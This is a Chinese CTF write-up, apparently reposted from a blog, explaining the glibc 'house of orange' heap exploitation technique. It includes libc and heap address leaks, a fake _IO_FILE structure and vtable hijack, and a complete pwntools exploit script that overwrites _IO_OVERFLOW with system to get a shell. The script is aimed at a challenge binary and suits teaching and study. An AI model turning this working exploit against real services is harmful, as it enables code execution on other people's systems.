house of orange
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了house of orange相关的知识,希望对你有一定的参考价值。
house of orange是一道同名题的技术
先看一下保护机制,是保护全开的
一般做堆题先泄露libc的地址,但是这里没有free
这里有个思路
修改top chunk的size值,然后malloc一个比这个大的chunk,然后系统调用sysmalloc分配堆,最后top chunk就会被释放,放入unsorted bin,相当于可以达到free一个堆块的效果了
可以看到我们已经成功泄露出main arena
然后再edit0x10个字节,就可以打印出堆地址
介绍一下_IO_file的逻辑关系
_IO_file_plus结构包含_IO_file和vtable指针
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
这是_IO_FILE结构
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
通过chain字段会把所有的_IO_FILE_plus结构连接起来,然后由一个_IO_FILE_PLUS* _IO_list_all来做表头,通过_IO_list_all就可以遍历所有_IO_FILE结构
然后利用unsorted bin修改_IO_LIST_ALL指针,根据下面的规则
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
可以得到malloc_state和unsorted bin里面是这样连接的
此时因为IO_list_all指向了main_arena+0x58所以mian_arena + 0x58会被看成一个IO_FILE_PLUS的结构
IO_file_plus结构有一个_chain字段,指向下一个_IO_FILE_PLUS结构,偏移是IO_FILE_PLUS+0x68,所以_chain的位置在:main_arena+0x58 + 0x68 = main_arena + 0xC0处
因为main_arena不是完全可控的,所以修改chain字段指向下一个构造的_IO_FIle_plus
然后这个chain在_IO_FILE中的偏移是0x68,而我们的main_arena+0x58正好就是small bin存放0x60大小的位置,所以可以将已经在unsorted bin中的chunk_size改为0x60,那么在下一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc将会进入大循环,把unsorted bin中的chunk放回到对应的small bin或large bin中
当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时,就会寻找到smallbin 0x60中的chunk。
只要在这个chunk中伪造好_IO_FILE结构体以及vtable,把_IO_OVERFLOW设置为system函数或者one_gadget就可以getshell
这是我们构造结构时所需要的表
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
这是vtable
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
#coding:utf8
from pwn import *
sh = process('./houseoforange')
#sh = remote('111.200.241.244',64177)
libc = ELF('./hoo.so')
#libc = ELF('./libc64-2.19.so')
_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']
def build(size,name):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name :',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')
def show():
sh.sendlineafter('Your choice :','2')
def edit(size,name):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name:',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')
build(0x30,'a'*0x30)
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
#overwrite the size of top chunk
edit(len(payload),payload)
#dump the heap address
build(0x1000,'b')
build(0x400,'c')
show()
sh.recvuntil('Name of house : ')
main_arena_xx = u64(sh.recvuntil('\\n',drop = True).ljust(8,'\\x00'))
_IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
#泄露堆地址
edit(0x10,'c'*0x10)
show()
sh.recvuntil('c'*0x10)
heap_addr = u64(sh.recvuntil('\\n',drop = True).ljust(8,'\\x00'))
heap_base = heap_addr - 0xE0
print 'heap_base=',hex(heap_base)
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
fake_file = '/bin/sh\\x00' + p64(0x60)#fp and the size of chunk
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)#fd and bk
fake_file += p64(0) + p64(1)#到这就需要过检测,这里的偏移如下图bypass the check of _IO_FILE:_IO_write_base < _IO_write_ptr
#_io_file+0x20:_io_write_base io_file+0x28:_io_write_ptr
fake_file = fake_file.ljust(0xC0,'\\x00')#from _flag to mode's padding:0xc0
fake_file += p64(0)*3#overwirte mode and add padding
fake_file += p64(heap_base + 0x5E8)#指的就是它本身vtable的地址以及vtable的dummy成员变量overwrite vtable pointer
fake_file += p64(0)*2# dummy和dummy2
fake_file += p64(system_addr)#成功覆写overflow
payload += fake_file
edit(len(payload),payload)
gdb.attach(sh)
pause()
sh.recv()
sh.sendline('1')
sh.interactive()
以上是关于house of orange的主要内容,如果未能解决你的问题,请参考以下文章